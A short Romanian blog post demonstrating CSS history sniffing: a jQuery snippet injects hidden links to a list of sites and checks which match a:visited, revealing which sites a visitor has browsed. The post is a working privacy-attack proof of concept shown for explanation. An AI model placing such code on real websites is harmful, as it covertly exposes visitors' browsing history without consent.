Evil Javascript – Privacy

Cum poti afla pe ce situri a mai intrat un vizitator de-al sitului tau?
In felul urmator:
– Injectezi, folosind Javascript, in DOM linkuri ascunse catre siturile respective.
– Linkurile vizitate au atributul css “a:visited” iar cele nevizitate “a:link”.
Am facut si un mic exemplu folosind jQuery:

<script type=”text/javascript”>
urls = [
‘http://www.220.ro’,
‘http://www.hotnews.ro’,
‘http://www.cnn.com’,
‘http://www.google.com’,
‘http://www.bancosul.ro’,
‘http://www.jquery.com’,
‘http://www.inmh.ro’,
‘http://www.w3schools.com’
];

addLinks =  function(){
$(‘body’).append(this+'<a href=”‘+this+'” style=”display:none”>’+this+'</a><br />’);
}

$(‘body’).append(‘<br /><b>Din urmatoarele linkuri:</b><br/><br />’);

//Adaug linkurile in DOM
$.each( urls, addLinks );

$(‘body’).append(‘<br /><br /><b>Ai intrat pe:</b><br/><br />’);

//Afisez siturile vizitate
$(‘a:visited’).each(addLinks);

$(‘body’).append(‘<br /><br /><b>Nu ai intrat pe:</b><br/><br />’);

//Afisez siturile nevizitate
$(‘a:link’).each(addLinks);

</script>